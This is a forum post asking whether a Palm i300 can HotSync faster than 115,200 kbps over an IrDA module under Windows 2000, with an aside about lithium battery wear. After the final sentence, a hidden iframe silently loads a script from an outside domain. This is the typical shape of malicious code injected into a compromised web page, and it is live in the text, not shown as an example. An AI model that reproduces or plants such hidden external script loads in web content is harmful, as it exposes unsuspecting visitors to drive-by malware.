    IrDA = faster hotsync?

    Is the 115,200 kbps maximum speed hardcoded into Palm Desktop itself, or will setting it to "com3" + "As fast as possible" enable faster transfer speeds via IrDA under Windows 2000 if the IrDA module itself supports the higher speed (and, of course, is sitting at com3)? They're incredibly hard to find, but I'm considering getting an IrDA module to plug into the IrDA serial header on my motherboard (Epox 8K7A, AMD760/Via686b chipset) since IrDA speeds are much, much faster (plus, I'm not terribly thrilled about subjecting the battery to a 2-minute charge cycle every time I hotsync when I'm trying to test a program I'm writing... constant partial recharging = death to lithium cells; they don't develop memories like NiCd and NiMh, but they DO have a finite number of recharging cycles, and every time it goes on the recharger counts against it).

    It's probably wishful thinking, but assuming Palm Desktop itself isn't the limiting factor, can the i300 do 4mbit fast IR?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
